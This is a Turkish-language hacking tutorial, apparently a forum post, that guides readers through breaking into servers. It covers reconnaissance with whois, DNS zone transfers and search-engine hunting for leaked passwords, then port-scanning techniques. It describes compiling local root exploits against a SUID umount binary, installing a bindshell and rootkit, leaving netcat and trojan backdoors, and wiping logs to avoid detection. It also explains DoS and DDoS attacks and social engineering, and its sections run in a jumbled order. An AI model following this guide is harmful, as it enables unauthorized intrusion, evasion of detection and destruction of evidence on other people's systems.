Exploitler bir sistemde bulunan bug ( işletim sistemi üzerinde hatalı programlar yüzünden meydana gelen açıklara verilen addır. Sisteme kopyalanmış oyun, IRC veya mail programlarından bu açık oluşabilir) ları kullanarak root yetkilerini almamızı sağlar.Exploitler kaynak kodlar halindedir. Ve bu nedenle compile yani derlenmesi gerekir. Win altında çalışan derleyiciler vardır ama linux ’larda yapılmak üzere hazırlanmışlardır. Win altında compile etmek .h library hatası verir ama linux altında gcc compiler’ı kullanarak derlendiği zaman sorun vermeyecektir. Bunları compile etmek için shell ( Linux altında size verilen sınırla alan da denebilir. Putty aracılığıyla SSH Protokolü kullanarak bağlanabilirsiniz.) alarak gcc compiler’i kullanabilirsiniz.
Şimdi exploit kullanarak sisteme girme konularına değinlim.Arkadaşlar hedefimizi belirledikten sonra server info(rmation) sunu belirliyoruz. [ netcraft.com sitesini kullanabilirsiniz) Daha sonra bu infoya göre gerekli exploitleri temin ediyoruz. Shell hesabına değinmiştik , shell hesabı alıyoruz ve shell e login olup exploiti buraya çekiyor.
Eğer loglanmamak veya shell in silinmemesini istiyorsanız bindshell kuruyorsunuz.[HPBindshell gibi] Daha sonra server’da root oluyorsunuz ve rootkit te kurabilirsiniz.Şimdi siteye istediğimizi yapabiliriz. Ama çıktıktan sonra logları silmeyi unutmayın
Bindshell hakkında;
Arkadaşlar yazdığım dökümanlarda genelde bindshell in ne işe yaradığı ve kurulumu hakkında sorular ortaya çıkıyor bu sorunları kaldırmak için yazıyorum bunları.
Şimdi arkadaşlar biz bindshell i niye kuruyoruz? Buraya değinelim.
*Shell ile login olduktan sonra /home/ altında bir klasör oluşturur. Oysa bindshell i kurduğumuz zaman id olarak nobOdy gösterir bizi.
*Sisteme bindshell kurduğumuz zaman port bindshell olarak açılır ve buraya bağlanmamızı sağlar + exploit işe yararsa o sistemde shell hesabımız oluyor.[anonymous] Anonymous olarak girdiğimiz için/home altında klasör tutulmaz.
*Exploiti her zaman kullanmak zorunda kalmıyoruz(remote attack için)
Ayrıca o bug fixlenmişse aynı yol işe yaramayacaktır.Bindshell in kurulumuna gelince. ./bindshell yazıp kuruyoruz: )
Yaptıklarımız;
Sisteme remote attack düzenledik ve girdik. Ama şimdi ise locak attackdüzenleyip root olduk. Ve eğer sistemde bir hesabımız olursa artık local attack yapıyoruz.
Bir detay daha;
Sistemi ele geçirmek için;
mount/umount ile başlayalım.
Sistemde bin dizinine geliyoruz ve umount veya mount ismiyle bir dosya aratıyoruz.
Alternatif olarak;
find / -name umount -print -xdev komutunu da kullanabilirsiniz.
Dosyayı bulduğumuzu varsayıyorum ve özelliklerine bakmak için;
ls -al um* komutunu yazıyorum.
Bundaki amaç;
Eğer bu dosya SUID(kullanan kişi root) ise sistemi alma yetkimiz bile olacaktır.
zeber:/bin# ls -al um*
-rwsr-sr-x 1 root 8888 Aug 20 1998 umount
zeber:/bin#
Bingo ! Hallettik. Daha sonra (umount.c) yi(exploit) kullanarak sisteme compile edeceğiz.
** D.O.S
Denial Of Service (DOS) denilen sistem işleyişini engelleme yöntemi, belirli verilere erişim sağlamak yerine yetkili kullanıcıların uygulamalara erişimini engelleyerek bilgi sistemleri kaynaklarını kilitler. Bu Attack türü ile sistemin sunduğu hizmet veya hizmetleri tamamiyle engelleyebilir ve devre dışı bırakabilir. Dos Attack işleyiş olarak, Attacker’ın çok büyük oranda karışık ve karşılanamaz verileri hedef sistem ağlarına veya bilgisayarlarına doğrudan göndermesini baz alır. Dos Attack yöntemini tehlikeli kılan yön ise çok eski tip makineler ve modemler ile çok karmaşık ve sofistike sistemleri devre dışı bırakmaktır.
DOS attacklar sadece e-ticaret ve web servislerine yapılmamaktadır. Bu saldırılardan routerlar, sanal özel ağlar(VPN) ve IRC sunucularıda etkilenmektedirler. Bir servis sağlayıcının router’ına yapılacak bir saldırı sonucu network trafiği altüst olabilir ve sonucundada müşterilerinin bağlantıları kopabilir. Daha önce en büyük IRC ağlarından Undernet’in bazı önemli sunucuları DDoS yöntemiyle çökertilmişti. Saldırıda servis sağlayıcılar saniyede yüzlerce MB veri bombardımanına tutulmuştu. DOS Saldırılarını temel olarak üç başlık altına toplamak mümkündür.
ð Kısıtlı Kaynakların Tüketilmesi
Bilgisayarlar ve ağlar hizmet verebilmek için, bant genişliği, disk alanı ve hafıza, CPU Time, veri yapısı, diğer bilgisayarlar ve ağlara giriş olanağı gibi temel işlevlere ihtiyaç duyarlar. DOS Saldırılarının en genel görülen türü ise bu kaynaklara yapılanlardır.
Kaynak tüketme amacıyla yapılan DOS saldırılarında hedef sistemin process tablosu doldurulur, yukarda söylediğimiz gibi hizmet vermek için ihtiyaç duyulan bant genişliği, DOS saldırılarında tüketilir ve disk alanı büyük miktarda verilerle doldurulur.
Process tablosunun hedef olduğu saldırılarda kullanılan exploit, zincirleme bir reaksiyonla bir process’in diğerini başlatmasını sağlar. Bu sayede sistem kaynakları tüketilmeye ve sistemin verdiği hizmet engellenmeye, devre dışı bırakılmaya çalışılır.
Disk alanına yapılan saldırılarda kullanılan exploit ise çok büyük miktarda dosyalar oluşturarak, boş yer kalmasını engeller. Dolayısıyla yeni dosyaların oluşumu engellenir.
Bant genişliğinin hedef alındığı saldırılarda ise Attacker karmaşık yapıdaki paketleri hedef sistemin ağına gönderir. Paket sayısı yeterli seviyeye geldiği zaman bant genişliğinin tükenmesi ve ağ kaynaklarının kullanılması engellenmiş olur.
Kaynaklara yönelik saldırılara arasında Network Bağlantısı dediğimiz yöntem de vardır. Bu saldırıda amaç servis sağlayıcısının veya ağın haberleşmesini engellemektir. Bu saldırı tipine en uygun örnek SYN Seli dediğimiz saldırı türüdür.
SYN Seli, istemci bir bilgisayarın, başka bir bilgisayarla Tree way handshake dediğimiz üçlü el sıkışma mekanizmasını başlatması ve SYN paketini göndermesi, buna karşılık sunucu bilgisayardan ise SYN/ACK paketini alması ve son ACK paketini göndermemesi ile olur. Bu sayede sunucu tarafında açılmış fakat tamamlanmamış bir bağlantı söz konusu olacaktı. Bu bağlantı isteği uzun bir süre dolumuna kadar açık tutulacaktır.
Ve Attacker bu işlemi sürekli devam ettiği zaman belli bir noktadan sonra gelen yeni paketler sunucudan cevap alamayacak ve servis kilitlenecektir.
Ayrıca kullanıcı kaynaklarının, kullanıcının kendisine karşı kullanılmasına dayanan 5K saldırısı da Kaynaklara yönelik saldırılardandır. Bu yönteme örnek olarak bir UDP Port üzerinden gerçekleştirilen saldırıları verebiliriz. Bunun nedeni ise herhangi bir UDP servisi üzerinden bağlantı kurulduğu esnada, bağlantının kendi doğasından dolayı bu servis çok sayıda paket üretir. Bu saldırı türünde ise, bu paketler hedefe yönlendirilerek saldırı gerçekleştirilmiş olur.
ð Configuration Verilerinin Değiştirilmesi veya Silinmesi
Bu saldırı türünün kullanımı sistemin yeterli seviyede yönetilememesi veya şekillendirilememesine dayanır.
Attacker ise bu sistem hatasından faydalanarak, sistemin konfigürasyonuyla oynar ve sistemin konumuna veya türüne uygmayan verileri girerek sistemin işleyişini engellemeye, sisteme ulaşımı devre dışı bırakmaya çalışır. Mesela; Attacker’ın hedef bir Router ’ın bilgilerini değiştirmesi, hedef alınan ağın tamamının yok olmasına sebebiyet verir. Ayrıca WinNT sistemlerde Registry ’de yapılacak olan değişiklikler birçok servisin devre dışı bırakılmasına neden olabilir.
ð Fiziksel Değişiklikler veya Silmeler
Bu saldırı türü, fiziksel güvenlik kavramı içerisinde yer almasına rağmen, doğurduğu sonuçlar açısından DOS Saldırısıdır. Bu saldırı türü; yetkisiz bilgisayar girişine, kablo alt yapısı ve router fiziksel erişimine, enerji ve soğutma birimlerine ve sisteminiz için gerekli olan kritik birimlerin erişimine dayanmaktadır.
**D.D.O.S
Distributed Denial Of Service adını alan hizmet aksatmaya yönelik saldırı türünün DOS Attack’tan farkı, birden fazla noktadan tek bir merkeze yapılan sistem engelleme eylemidir. Şöyle ki; DOS saldırıları tek bir kaynaktan olup, herhangi hedef bir sisteme doğrudur. Ancak DDOS saldırılarında birden fazla makina tek bir hedefe focus olur.
Bahsettiğimiz makina sayısı yüzlerce hatta binlerce olabilir. DDOS saldırılarının tehlikeli olmasının nedeni de bundan kaynaklanır.
Attacker’lar DDOS saldırılarını gerçekleştirebilmek için, güvenlik açığı bulunan bilgisayarları, yani güvenliği tam anlamıyla sağlanmamış bir şirketin, internet sunucularının, özellikle üniversite kampüslerinin ve güvenliği sağlanmamış olan ev kullanıcılarının bilgisayarlarını kullanırlar. Attacker güvenlik bakımından zayıf olan bu
bilgisayarları kontrol altına alabilmek için "Zombi" denilen yazılımları kullanır. Attacker tarafından zombi yazılımlar, hedef bilgisayarlara enjekte edilir ve saldırı zamanı gelince vermiş olduğu komutla tüm bilgisayarlarla birlikte hedefe kilitlenir. Bu da sistemin akışının engellenmesine hatta devre dışı kalmasına bile sebebiyet verir. Örneğin, Yahoo! ve eBay gibi dev şirketlerin yayını 2000 yılının Şubat ayında devre dışı bırakıldı.
Attacker bu yöntemlerin hepsini kullandı ve sonuç alamadı.. İşte burada Sosyal Müh. Devreye giriyor.
** Social Engineering:
Sosyal mühendislik de, saldırganların sihirli değneğidir. Şöyle ki; korsanlar, teknolojiyi kendi menfaatlerine döndererek çıkar sahibi olmak için uyguladığı adımlara Sosyal Mühendislik diyebiliriz. Sosyal Mühendislik, saldırganın kullandığı en tehlikeli saldırı yöntemidir. Çünkü bu yöntemde, hedef insanlardır. Güvenlik sistemlerinin açığını yakalayan cracker’a karşı, patch’ler üretilerek geçişi engellenebilir. Ama hedef insan olunca, iş çok daha da zorlaşabilmektedir.
Saldırganlar, Sosyal Mühendislikte, insanların yardımcı olma isteği ve insanların güveninden yararlanırlar. Güvenlik zincirinin en zayıf halkası insanlardır. Bir sistemin güvenliği ne kadar iyi olursa olsun, o sistemin güvenliğinden sorumlu kişiler yeterince eğitilmezse, sistemin saldırgana yenik düşmesi muhtemeldir. Basit bir örnekle konuya ışık tutalım; Şirketinizin bilgi işlem departmanına bir telefon geliyor ve çalışanlarınızdan birinin adını ve birtakım bilgilerini veren bir kişi, e-posta adresinin şifresini unuttuğunu söylüyor. Ve sizden e-mail’in şifresini resetlemenizi rica ediyor. Ayrıca çok önemli bir proje için söz konusu olan e-maili kullanarak acil bir mail göndermesi gerektiğini eklemeyi de unutmuyor. Teknik destekten sorumlu olan eleman, şirketin menfaatini düşünerek, şifreyi resetliyor. Ve belki de iyi bir şey yaptığını sanıyor. Ama şirketinize ait bir e-mail saldırganın eline geçti bile. Saldırganımız, bu e-mail ile irketinizin kritik verilerini içeren e-posta’ları okuyabilir, şirketiniz adına e-posta gönderebilir..vs
Bu işlemlerden sonra sisteme girdiğimizi varsayıyorum. Sisteme girdik ama daha sonrası için de lazım olabilir diyerekten sistemde kalıcılığı sağlamak lazım. Bunun için de sisteme backdoors dediğimiz arka kapıları bırakıyoruz.
Kullanabileceğimiz araçlar;
Trojanlar
Netcat
Remote.exe / Rcmd.exe
Rookitler
Sistem Zamanlandırma
Faydalanılan Kaynaklar:
Arama Motorları -> Meb.Gov.tr
CGI -> Bilisimterimleri.Com
Port Tarama -> Yazacağım kitaptan bir kesittir.
D.O.S & D.D.O.S -> Yazacağım kitaptan bir kesittir.
Bu yazıda bir Attacker’ın hedef site karşısında somut veriler ele geçirmesi için yapması gereken, uygulaması gereken adımlar (tamamiyle olmasa da) anlatılmaktadır. Fazla söze gerek yok başlayalım;
Arkadaşlar öncelikle A şahsının bir hırsız olduğunu varsayalım. Bu şahsın hedef olarak B ’yi seçtiğini düşünelim. A, B’nin evine sızabilmek için öncelikle geniş çapta bir araştırma yapacak. Örneğin; B şahsı saat kaçta evden çıkacak, evin konumu, girebileceği yerler..vs.
Bizlerin A şahsı olduğunu ve hedef sistemin B şahsı olduğunu düşünürsek, sisteme sızabilmek için öncelikle araştırma şart. Bu araştırma nasıl ve hangi çapta olabilir. Öncelikle araştırmamızı yapabileceğimiz alanlar;
** Whois Sorgulaması
** IP Sorgulamaları
** DNS Sorgulaması
** Arama Motorlarından Faydalanma
** Elde Edilen Verilerin Birleştirilmesi
Veri toplama aşamasında bu basamakları uygulayacağız. Sırasıyla açıklayalım.
**Whois Sorgulama:
Bir sistenin Whois Veritabanı, Domain’in veya Internet Protocol Adress ( IP Adresi) ’ inin ait olmuş olduğu kurum, kuruluş veya şahısların bilgilerini içermesinden dolayı bizim için önemlidir. Ayrıca Whois Veritabanı hedef sitenin DNS adreslerini, Domain’in Date Expire tarihini, sitenin IP adresini, irtibat adreslerini, Domain’i regleyen (kaydeden) şahsın e-mail adresi, telefon bilgileri gibi önemli detayları da kapsar. Bu nedenle bizim açımızdan önemlidir. Şöyle ki, hem NS adresleri hem de bazı kritik bilgileri içeriyor ve bu verileri hem hedef server’a girmede hem de sosyal mühendislikte kullanabiliriz. Whois sorgulama hizmeti veren bir çok site bulunmaktadır. Bunlar arasında en iyi sonuçlar verenlerden birkaçı ;
http://www.whois.sc
http://allwhois.com
Bu iki siteden tüm whois verilerine ulaşabilirsiniz.
**IP Sorgulama:
Internet’te bulunan her bilgisayarın kendine ait bir adresi vardır. Bu adres Internet üzerinde bilgisayarların birbirlerini tanımalarını ve iletişim kurmalarını sağlar ve numaralarla ifade edilir. IP adresleri noktayla ayrılmış 4 değişik rakam kümesinden oluşur ve 0-255 arasındaki rakamlardan oluşur. Örnek: 209.67.50.203. Alan adları ise bu rakamlara isimler vererek daha kolay hatırlanmasını sağlar. Her Alan Adı, yukarıda anlatılan tarzda bir rakamsal adrese bağlıdır. www.sitebenim.com yazdığınız zaman bilgisayar bu ismi rakamlara çevirir, Internet üzerinde hangi bilgisayarda durduğunu kontrol eder ve trafiği bu adrese yönlendirir.
Sisteme sızma aşamasında Whois sorgusundan sonra 2.önemli konu IP Sorgulamadır. Çünkü IP sorgulama ile hedef sistemin büyüklüğünü yani subnets dediğimiz sisteme ait alt ağ bloklarını öğrenmeden bir profil çıkaramayız. Bunu öğrenmek için de hedef sistemin Internet Protocol adresini öğrenmemiz gerekecektir. Buradan da subnets’i yapacağımız sorgularla öğrenebiliriz. Şu an için dünyada 4 büyük internet temsilcisi vardır.
* A.R.I.N Veritabanı( American Registry For Internet Numbers ) – Amerika Kıtasına…
* A.P.N.I.C Veritabanı ( Asia Pasific Network Information Centre ) Asya ve Pasifiklere…
* L.A.C.N.I.C Veritabanı ( Latin American and Caribbean IP Address Regional Registry ) Latin Amerika ve Karayiplere…
* R.I.P.E Veritabanı ( Réseaux IP Européens Network Coordination Centre ) Avrupa Kıtasına…
Bu servislerden yararlanarak sistemin alt ağ bloklarını öğrenebiliriz.
**DNS Sorgulaması
Domain Name System (alan adi sistemi) aslında bir veritabanıdır. sistem makine isimlerini IP adreslerine, IP adreslerini ise makine isimlerine çevirir. bunun yanı sıra alan adı için gerekli e-posta sunucusu adreslerini ve alan adı sunucu adresleri gibi bilgileri (resource records) saklar.
DNS üstlendiği görev gereği hızlı olmak zorundadır. Bu yüzden sorgulamalar 512 bayttan küçük ise UDP üzerinden çalışacaktır.DNS sistemi yazarları DNS için gerekli bilgileri RFC lerde tanımlamışlardır. (1034 ve 1035).
Örneğin www.sitebenim .biz adresine karşılı...ca biz web gezginimize [url]www.sitebenim.biz adresini yazıp bilişim ordumuzun sitesine girmek istediğimizde geri planda sessizce çalışıp bizi doğru sunucuya yönlendiren sistemdir veya [email protected] e-posta adresine mail attığımız zaman x-master.biz alan adinin MX kayıtlarını bize söyleyerek bizim e-posta sunucumuzun doğru e-posta sunucu ile konuşmaya başlamasını saylayan yine dns tir.
Hedefle ilgili Whois sorgusunda DNS bilgilerini NS veya Domain servers olarak görürüz. Bundan sonra ise DNS sorgulaması yaparak daha fazla veriye ulaşacağız. Eğer DNS suncusunda konfigürasyon hatası varsa yani yanlış konfigüre edilmişse, Zone Transfer yapabilir ve DNS sunucudan çalıştığı domain ile ilgili tüm verileri isteyebiliriz. Anlattığımız DNS sorgulamasını da run’a "nslookup" yazarak manuel olark yapabiliriz. Veya Sam Spade türü bir prg. kullanabilirsiniz.
**Arama Motorlarından Faydalanma
Arama motoru (search engine), dünyadaki hemen hemen tüm web sitelerinin listelendiği, kategorilere ayrılmış, aradığımız bilgileri en kısa yoldan ve hızlı bir şekilde ulaşmamızı sağlayan web siteleridir.
İnternet üzerinde yüzlerce hatta binlerce arama motoru bulunmaktadır. Bunların bir kısmı kendi alanlarındaki web sitelerini listelemekte, bir kısmı yerel alanlarda hizmet vermektedir. Bir kısmı da dünya üzerindeki her türlü web sitesini listelemektedir. Arama kriterlerini en aza indirmek arama motorlarındaki komut satırına (yanlarında Search, Find It, Get It gibi tuşlar bulunan kutucuklar) herhangi bir kelimeyi yazdığımızda, bu arama motoru bu kelimenin geçtiği tüm dökümanları listeler. Oysa bu dökümanların içinde işimize yaramayan öyle çok döküman listelenir ki, işimize yarayanı bulmakta zorlanmaya başlarız. Mesela bu arama motorlarından bir tanesine web yazıp aramasını istediğiniz zaman, karşımıza yüzbinlerce sayfa çıkar. Diğer taraftan " web sayfası" yazıp aramasını istediğimiz zaman ise hem içinde web geçen hem de sayfası geçen tüm dökümanları listeleyeceğinden bu sefer milyonlarca döküman çıkacaktır. Oysa bunun için, internetin her yerinde olduğu gibi, büyük bir kolaylık sağlayan arama parametreleri vardır. Bu parametreleri kullanarak aradığımız dökümanlara doğrudan ulaşabiliriz.
Arama motorları 3 temel parçadan oluşur:
* Spider: İlki "spider,bot,ant" gibi isimlere sahip olan programlar. Bu programlar interneti dolaşıp sayfaları tespit edip veritabanlarına kaydederler.
* Veritabanı: Spider tarafından ziyaret edilen, her sayfanın kopyası burada saklanır. Sayfanızda yaptığınız değişiklikler, spider tekrar uğrayıncaya kadar arama motorlarında yer almaz. Arama yapıldığında, sayfanız veritabanındaki son haline göre değerlendirilip, sıralanır. Bu yüzden kullanıcılar, ölü linkler yada çok farklı içeriklerle karşılaşabilmektedir. Google.com’da "Önbellekten oku" komutuyla kayıtlı sayfanın Google’un veritabanındaki halini görebilirsiniz.
* Sıralama mekanizması: Üçüncü parçada sıralama mekanizmasıdır. Kullanıcın yaptığı aramaya göre, en uygun şekilde sayfaları sıralamaya çalışır. Her arama motorunda bu parçalar farklı çalışır. Bazılarında, sayfanızda frame, image map kullanmanız sorun yaratabilir. Bazıları, veritabanına alt tag larını kaydetmez.
Herbiri kendi yöntemini geliştirerek, ziyaretçilerine en iyi sonuçları getirmeye çalışır. Arama motorları, siteniz için önemliyse, kodlarınızı arama motorlarına uyumlu hale getirmeli, ve üst sıralarda yer alabilmek için, optimize etmeniz gerekmetedir.
* Arama Motorunda Sıralama Nasıl Yapılır?
Arama motorları, sayfanızı inceleyip kelimelerin kullanılma oranlarını, yerlerini ve şekillerini ölçer. Bir kelime diğerlerine göre, çok sık olarak, hem başlıkta, hem yazılarda, hem resimlerin açıklamalarında kullanılmışsa, o sayfanın o kelimeye yönelik içeriğe sahip olduğu kanısına varılır. O kelimeyle arama yapıldığında, o sayfa, kelimeyi daha az kullanan yada başlığında o kelimeye yer vermeyen sitelere göre daha üst sırada yer alır.
* Arama Parametreler Nelerdir?
Arama parametreleri, arama motorlarına göre zaman zaman değişkenlik içerse de, tüm arama motorlarında geçerli olan bir kaç parametre vardır. İşte bunlardan birkaçı:
+ parametresi "ve" anlamına gelir. Arama satırına web sayfası yerine web+sayfası yazarsak, arama motoru artık bize içinde sadece web sayfası geçen dökümanları listeleyecektir. Bu dökümanların içinde web kelimesi ortada sayfası kelimesi başta veya sonda olabilir. Bu işimizi biraz daha kolaylaştırmış olacaktır. Ama hala tam aradığımız döküman bu olmayabilir. O zaman da;
"" parametresini kullanmalıyız. Yani "web sayfası" yazıp aranmasını istediğimiz zaman, içinde sadece web ve sayfası yan yana geçen dökümanlar listelenecektir.
- parametresi arama motorunun arama satırına "web sayfası" - eğitim yazarak aramasını istediğimiz zaman, arama motoru, içinde web ve sayfası yan yana bulunan ama eğitim kelimesi içermeyen tüm dökümanları listeleyecektir.
Bir Cracker bahsettiğimiz şekilde, gelişmiş crawler’lara sahip olan arama motorlarını kullanarak sitenin kritik bilgilerine ulaşabilmektedir. Bu da webmaster’ların tecrübesizliğinden veya dikkatsizliğinden kaynaklanır. Hatta öyle ki, sitelerin MySQL şifrelerine bile, deneyimsiz webmaster’lar sayesinde ulaşabiliyoruz.
** Eldeki Verileri Birleştirme
Son aşama olarak Veri toplama aşamasında elimizdeki verileri birleştiriyoruz. Ve buna göre bir strateji çiziyoruz. Mesela; whois sorgusunda elde edilen verileri sosyal müh. kullanabilir veya IP sorgusundan öğrendiğimiz verilerle serverda bulunan siteleri öğrenebilir ve RFI ile server’a girebiliriz.Veri toplama aşamasından sonra saldırıya hazırlık aşamasına geçiyoruz. Burada öncelikle tarama işlemini yapıyoruz.
Veri toplama aşamasından sonra Remote Attack aşamasına geçiyoruz…Bu aşamada yapacaklarımız ;
** Port Tarama
** CGI Saldırıları
** Cookie Saldırıları:
** Remote File Inclusion
** Veritabanına Yapılabilecek Saldırılar
** E-Posta Saldırıları
** Exploit Saldırıları
** DOS Attack
** DDOS Attack
Hemen işe koyulalım..
** Port Scanning / Port Tarama
Bir sistemin taranması, temel olarak hedef konumunda bulunan ağda bulunan bileşenleri ve bu bileşenlere yetkisiz olarak erişim hakkına sahip olmak için yapılmaktadır. Tarama,aktif sistemlerin belirlenmesi, işletim sistemlerinin saptanması ve bu bileşenlerin hedef ağdaki lokasyonunun belirlenmesi gibi basamaklardan oluşur.
İlerleyen teknolojinin ürünü olarak birçok işletim sisteminde birden fazla program aynı anda çalışmakta ve çalışan bu programlardan bazıları da dışardan gelen request (istek)’lere açık olmaktadırlar. Uygun görülen request’lere response (cevap) vermektedir.
Sunucu programları çalışan bilgisayarlara verilen IP adresleri ile istenilen bilgisayarlara ulaşılır. Ulaşılan bilgisayarlar üzerindeki hangi sunucu programdan hizmet almak istendiğini belirlemek ise port’lar aracılığıyla sağlanır. Bu işlemi sağlayabilmek için bilgisayarlar üzerinde sanal bağlantı noktaları oluşturulur ve her bağlantı noktasını adresleyebilmek için Port numarası dediğimiz pozitif rakamlar verilir. Port numaraları 2 byte olarak tutulur. 1024’ten küçük olan port numaraları Root dediğimiz özel yetkilere sahip kullanıcılar tarafından kullanılır. Büyük olanlar ise normal kullanıcılar tarafından kullanılmaktadır.
Port kavramını öğrendikten sonra Attacker’ların, Port’lardan faydalanma eylemine değinelim.
Attacker sistem hakkında yeteri kadar veri topladıktan sonra yapacağı ise hedef sistemin TCP veya UDP Portlarına bağlanarak hangi port’un açık olduğunu belirlemek veya hangi port’un dinleme durumunda olduğunu saptamaktır. Yani Port Taraması yapmaktır.
Temel Port Tarama Yöntemleri
İlerleyen teknoloji ile birlikte hacking yöntemleri de ilerleme kaydetti. Sürekli geliştirilen yöntemler, güvenlik yazılımları tarafından etkisiz kalınca yeni yöntemlerin keşfedilmesine sebebiyet verdi.
Son zamanlarda Port tarama işlevinin birçok yöntemi geliştirildi. Geliştirilen yolların hemen hemen hepsi Nmap programının Coder’ı (Kodlayıcısı) "Fyodor" ’un ürünüdür. Şimdi Port Tarama Yöntemleri’ne tüm yönleriyle değinelim
Devamı Gelecek..
TCP Connect Scan
Transmission Control Protokol (TCP), bilgisayarlar ile veri iletme ve alma birimleri arasındaki iletişimi sağlayan, bu yolla veri transferini mümkün kılan yapıdır.
TCP’nin İşleyişi: TCP Oturumu öncelikli olarak bir sunucudan servis ister, diğer istemci ise response olarak (eğer bağlantı isteği kabul edilirse) SYN Flag (SYN Bayrağı) ’ı kalkık paketini sunucu bilgisayara iletir. Paketi alan sunucu ise, gönderene response olarak SYN Paketini aldığını ve bağlantı request’ini onayladığını göstermek için SYN Bayrağı kaldırılmış (set) paketi yani SYN-ACK Paketini istemci bilgisayara gönderir. Son aşamada ise sunucu makinenin gönderdiği SYN-ACK paketini alan istemci bilgisayar sunucuya ACK paketini göndererek yollanan paketi aldığını bildirir
Bahsi geçen tarama yöntemi yani TCP Connect Scan işlemi ise anlattığımız oturum açma işlemini gerçekleştirir ve oturum açıldığı zaman bağlantıyı keserek bize portun durumunu, açık veya kapalı olduğunu gösterir.
Yalnız Attacker bu yöntemi zor durumda kalmadığı zaman yapmaz. Çünkü oturum açma isteği gönderildikten ve bu işlem gerçekleştikten sonra isteği gönderen cihazın IP Adresi kaydedilir. Ama zorunlu durumlarda ve hedef sistemin portunun kesin bir şekilde açık veya kapalı olarak öğrenilmek istenmesi durumunda bu yol garantidir.
ð TCP SYN SCAN
TCP Connect Scan işleminde, bu yolun riskli olduğunu çünkü IP Paketlerinin loglandığını söylemiştik. Loglama işlemi, istemci bilgisayarın Oturum açtığı anda olur. Oturum açılırsa log tutulur.
TCP SYN Scan yarı-açık tarama olarak da bilinir. Bu tabirin bahsi geçen tarama yöntemine uygun görülmesinin nedeni ise, TCP Connect Scan’deki gibi tam olarak oturum açmamasından dolayıdır. TCP SYN Scan SYN bayraklı paketi gönderir ve SYN/ACK bayraklı paketi alır. Oturum açmayı ise RST/ACK bayraklı bir paket göndererek reddeder.
Eğer hedef port açık ise SYNC/ACK paketi gelir. Oturum açılmadığından dolayı da loglanma ihtimali ortadan kalkar.
ð TCP FIN Scan
TCP Connect ve TCP Syn Scan işlemlerinde oturum açma işlevlerine değindik. TCP FIN Scan’de ise Oturum açılmadan hedef portların açık veya kapalı olma durumları öğrenilir.
TCP FIN Scan’de hedef portlara FIN Paketleri gönderilir. *RFC793 ‘ e göre kapalı durumda olan bir port, bağlantı durumu söz konusu olmadan aldığı FIN paketine, RST Paketiyle cevap verir. Yani hedef porta gönderdiğimiz FIN Paketlerine eğer cevap gelirse port kapalıdır, eğer cevap gelirse port açıktır.
ð SYN/FIN Scannig Using IP Fragments
Bu tarama yöntemi SYN ve FIN Tarama yöntemlerinin daha gelişmiş bir türüdürdiyebiliriz. Bu tarama yönteminde herhangi bir paket gönderilmez. Hedef porta paketleri daha küçük IP Fragmenti olarak gönderilir. Bu işlem Attacker’ın yaptığı işin anlaşılmasına engel olmak içindir.
ð TCP Xmas Tree Scan
Bu tarama yöntemi TCP SYN taramasına benzer. Hedef porta FIN (No More Data From Sender), URG (Urgent Pointer Field Significant) ve PUSH (Push Function) bayraklı paketler gönderir ve kapalı olan portalardan RST cevabı beklenir. Eğer cevap gelmezse hedef portlar açıktır. (RFC793’e göre / http://www.ietf.org/rfc/rfc0793.txt)
ð TCP Null Scan
Daha önceki tarama yöntemlerinde paketler veya IP Fragment göndererek port’ların açık ve kapalılık durumlarını öğrenmiştik. Bu tarama yönteminde ise TCP Xmas Tree’nin tam tersine bayrak taşımayan bir paket gönderilir. Daha öncede belirttiğimiz gibi RFC793’e göre kapalı durumlardaki portlardan RST cevabı gelir. Eğer cevap gelmezse hedef port açıktır.
ð TCP ACK Scan
Bu tarama yönteminde Attacker, eğer hedef Firewall kullanıyorsa kullandığı Firewall’u bypass etme ve hedef portların açık ve kapalılık durumlarını öğrenebilir.
TCP ACK Scan’in genel mantığı statik veya dinamik paket filtrelemede firewall’ların bağlantıyı ilk başlatan tarafı hatırlayamamasıdır. Bazı firewall’lar onaylanmış olan bağlantılara izin verir ve ACK (Acknowledgment Field Significant) paketinin Firewall’lardan veya Router’lardan engellenmeden geçmesi mümkün kılınabilir, hedef portlar firewall’a rağmen taranabilir.
ð TCP FTP Proxy (Bounce Attack) Scan
Bu tarama yöntemi FTP Proxy’lerin Bounce adını verdiğimiz özelliğinden faydalanır. RFC959 tanımına göre, FTP Protokolünün Proxy FTP bağlantısına izin verir. Bu bağlantı sayesinde server-PI (Protocol Interpreter)’e ağdaki herhangi bir yere dosya yollayabilecek server-DTP (Data Transfer Process) isteği aktif edilebilir. Bu açık özellikle firewall arkasında bağlı bulunan bir FTP’ye bağlandığımız zaman sunucuya kendi port’larını taratması sağlandığı için çok tehlikeli bir tarama türüdür. Çünkü Firewall bypass edilmiş olur.
ð TCP Windows Scan
TCP ACK taramasına benzer.
Bu tarama türü TCP Windows Size’dan kaynaklanan hataları baz alarak bazı işletim sistemlerinde portların açık ve kapalılık durumunu ya da filtreli olma durumlarını kontrol eder.
ð TCP RPC Scan
Bu tarama yöntemi ile Remote Procedure Call (RPC-Uzak İşlem Çağrıları) port’larından aktif halde çalışan işlemleri ve sürümleri öğrenebiliriz. Eğer sistemde çalışan RPC’ler ile ilgili hata ve aksaklıklar mevcut ise bunlar Attacker için sisteme girmek için bir yoldur.
(Sadece Unix tabanlı sistemlerde mevcuttur)
ð UDP Scan
Daha önceki tarama yöntemleri (RPC Scan Hariç) TCP tabanlı idi. TCP tabanlı taramalarda, sıra numaraları, kod bitler dediğimiz yapılar vardı. Ancak UDP’de böyle bir şey mevcut değildir. UDP ’de paketler direk gönderilir ve kaybolan paketlerin yenisi gönderilmez.
Bu yöntem hedef sisteme UDP Paketlerini gönderme işlemini baz alır. Eğer gönderilen UDP Paketlerine response olarak "ICMP Port Unreachable" mesajı alınırsa port kapalıdır demektir. Eğer bu responsa alınmazsa port’un açık olduğu anlaşılır. Bu işlemleri yaparken acele etmemek gerekir. Çünkü bant genişliği probleminden dolayı gelmesi gereken mesaj paketi gecikebilir. Ve eğer ivedi davranılırsa port’un açık olduğu o nedenle cevap gelmediği düşünülebilir. Ama port açıktır ve bu hatadan dolayı Attacker amacına ulaşamayabilir.
ð Ident Scan
Ident Protokolü RFC1413’te tanımlanmış bir protokoldür.Bu tarama hedef sistem üzerinde eğer Identd aktif olarak bulunuyorsa, sistemde çalışır vaziyette olan servislerin listesine ve bu servisleri çalıştıran kullanıcı isimlerine ulaşmak için yapılır. Eğer Identd aktif değilse bu tarama türü işe yaramayacaktır.
Eğer bunları yapamıyorsanız;
SSS ( Shadow Security Scanner )
NSS ( GFI LANGuard Network Security Scanner )
